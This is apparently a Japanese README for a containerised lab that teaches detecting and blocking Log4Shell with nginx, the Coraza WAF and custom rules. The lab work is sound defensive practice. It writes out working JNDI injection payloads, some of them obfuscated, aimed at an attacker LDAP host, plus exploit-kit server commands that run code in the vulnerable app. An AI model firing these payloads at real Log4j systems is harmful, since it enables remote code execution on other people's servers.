Log4Shell Security Lab — nginx + Coraza WAF

教育目的 / 防御目的: このラボには意図的に脆弱性のあるアプリ (Log4j 2.14.1) と JNDI エクスプロイトキットが含まれています。唯一の目的は、隔離された環境で Log4Shell を検出・ブロックする方法を学ぶことです。インターネットにデプロイせず、あなたが所有していないシステムへの攻撃に使用しないでください。

Coraza WAF (動的モジュール) + OWASP CRS v4 + カスタム JNDI ルールを統合した nginx を使用した Log4Shell (CVE-2021-44228) 防御実践ラボ。付属の脆弱な Spring Boot ターゲットコンテナ、Kali 攻撃ボックス、Suricata + Wazuh による監視機能を備えています。

---

1. アーキテクチャ

Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, 外部公開)
│   ├── nginx-proxy         ← エントリーポイント :80/:443、Coraza モジュール + CRS v4 搭載
│   ├── attacker-box        ← Kali + JNDI エクスプロイトキット
│   └── suricata-ids        ← dmz トラフィックの傍受
│
└── backend-net (172.22.0.0/24, 内部: true)
    ├── nginx-proxy         ← 2番目の NIC
    ├── log4shell-app       ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager       ← SIEM
    └── wazuh-dashboard     ← UI

リクエストフロー: client → nginx (Coraza 検査) → log4shell-app. WAF は nginx 内部 (モジュール ngx_http_coraza_module.so 経由) で動作し、別コンテナではありません。

---

2. 要件

項目	最小バージョン
Docker Desktop / Engine	Compose v2 対応の 24+
空き RAM	4 GB (Wazuh が約 1.5 GB 消費)
空きディスク	6 GB (イメージビルド成果物)
初回ビルド時間	10–15 分 (libcoraza + nginx モジュール + Maven 攻撃用ツール)

---

3. ブートストラップ — 初回実行

ステップ 3.1 — イメージのビルド

cd /path/to/log4shell-nginx-coraza
docker compose build

最も時間がかかるステージは nginx (Go 1.25 で libcoraza v1.4.0 をビルドし、その後 coraza-nginx モジュールをコンパイル)。初回以降はキャッシュされます。

ステップ 3.2 — スタックの起動

docker compose up -d
docker compose ps

約 30 秒後、期待されるステータス:

Service	STATUS
nginx-proxy	Up (healthy)
victim-app	Up
kali-attacker	Up
wazuh-siem, wazuh-web	Up
suricata-ids	Restarting の場合あり (セクション 8 参照 — ラボの進行を妨げない)

ステップ 3.3 — スモークテスト

# nginx 死活監視
curl http://localhost/health
# → "nginx proxy healthy"

# WAF 経由でアプリへ (log4shell-vulnerable-app の実際のエンドポイント)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ にヘッダー X-Api-Version がない場合、400 が返ります — これは Spring Boot の whitelabel エラー (ハンドラなし) であり、WAF によるブロックではありません。

---

4. WAF による Log4Shell ブロックのテスト

ステップ 4.1 — 基本ペイロード

# User-Agent 内の JNDI → ルール 1910010 が発動、403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# アプログヘッダー X-Api-Version 内の JNDI → ルール 1910001 (header+arg) が発動、403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# クエリ文字列内の JNDI → CRS phase 1 がブロック
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

期待される結果: HTTP/1.1 403 Forbidden、ボディ <html>... 403 Forbidden ... nginx ...</html>。

ステップ 4.2 — 難読化ペイロード

# Lower trick (ルール 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (ルール 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

ステップ 4.3 — JSON ボディペイロード

curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (ルール 1910026: Content-Type=json かつボディに jndi を含む)

---

5. WAF ログの確認

Coraza 監査ログ (JSON)

docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

各イベントは JSON Lines 形式で、以下を含みます:

• transaction.is_interrupted: true → WAF がブロック
• messages[].error_message → どのルールが発動したか、ファイルと行、重大度

nginx アクセスログ

docker exec nginx-proxy tail -f /var/log/nginx/access.log

ブロックされたリクエストのフィルター:

docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

ホスト上のマウントパス

./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

---

6. 実際のエクスプロイトチェーン — attacker-box → log4shell-app

デフォルトでは backend-net は internal: true に設定されており、attacker-box は dmz-net にしかいないため、log4shell-app は attacker-box に 到達できません。JNDI チェーンをエンドツーエンドで動作させるには、まずステップ 6.0 を実行してください。

ステップ 6.0 — log4shell-app が attacker-box にアクセスできるようにする

docker-compose.yml を編集し、attacker-box を backend-net に追加:

  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— 追加

または、log4shell-app を dmz-net に移動 (より簡単ですが、セグメンテーションの教育効果は低下):

  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— 追加

適用: docker compose up -d (Compose が該当コンテナを再作成します)。

ステップ 6.1 — attacker-box 内で JNDI エクスプロイトサーバーを起動

docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — シンプル、LDAP→HTTP のリレーのみ
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — フルツールキット、ペイロード "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

サーバーは LDAP :1389 と HTTP :8888 で待機 (compose 内でホストに公開済み)。

ステップ 6.2 — バイパステスト: WAF を経由せずにアプリに直接アクセスし、脆弱性を確認

# attacker-box から、backend-net 上の log4shell-app に直接アクセス
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

確認:

# Pwned マーカーがアプリコンテナ内に作成される
docker exec victim-app ls -la /tmp/pwned

ファイルが存在する場合 → エクスプロイトチェーン OK、アプリは依然として脆弱、WAF はメインパスを経由する場合にバイパスされません。

ステップ 6.3 — メインパス経由で同じペイロードを WAF がブロックすることを確認

# nginx (公開メインパス) 経由
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden、新しい /tmp/pwned は作成されない

---

7. ルールの調整 (再ビルド不要)

ファイル ./coraza/config/log4shell-rules.conf は :ro で nginx の /etc/nginx/coraza/log4shell-rules.conf にマウントされています。編集後:

docker exec nginx-proxy nginx -t      # 構文チェック
docker exec nginx-proxy nginx -s reload

Coraza がパースエラーを報告した場合 (failed to compile the directive...)、ワーカーは終了し、nginx -s reload では再 spawn できません。その場合は:

docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

WAF に読み込まれるルールの配置

インクルード順序 (nginx/coraza/main.conf、イメージに焼き付け済み):

1. エンジン設定: SecRuleEngine On、監査ログ、デバッグログ
2. crs-setup.conf — tx.*_anomaly_score、しきい値の初期化
3. owasp-crs/rules/*.conf — CRS v4.7.0 の全体
4. log4shell-rules.conf — カスタムルール (ホストからマウント)

カスタムルール ID 範囲: 1910001 – 1910999 (CRS の範囲 900000–999999 を避ける)。

Corasa と ModSecurity の構文制限

• 重大度は標準列挙値のみ受け入れ: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG。HIGH/LOW は無効。
• 永続コレクション (IP:, SESSION:, RESOURCE:) は、バッキングストアが設定されていないと 動作しません。リクエストごとに tx. を使用するか、nginx limit_req_zone でレート制限を行ってください。
• TX:VARNAME は、同じリクエスト内で setvar された変数のみ参照可能です。ルールが異なるフェーズにある場合は、チェーンルールにまとめることを検討してください。

---

8. トラブルシューティング

nginx は UP だが (unhealthy) / curl localhost がハング

docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

通常、新しいルールの構文エラーが原因 → 全ワーカーがコード 2 で終了。ルールを修正し、docker compose restart nginx。

failed to create WAF: ... unknown severity: HIGH

カスタムルール内の severity:'HIGH' を severity:'ERROR' に変更。

failed to compile the directive "secrule": invalid arguments, expected collection TX

ルールで setvar:ip.xxx を使用しているか、IP:something / TX:NEVER_DECLARED を参照している。永続コレクションを削除するか、ロジックを単一チェーンルールにまとめてください。

Suricata Exited (1)

イメージ jasonish/suricata:latest には独自のエントリポイントがあり、./suricata/config/ からの yaml マウントがイメージ内のバージョンと互換性がない可能性があります。簡単な修正: compose 内で suricata サービスを一時的にコメントアウト。ラボは正常に動作します (Coraza の動作に IDS は不要)。完全に修正するには、イメージのデフォルト yaml で置き換えてください (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml)。

log4shell-app 起動直後に終了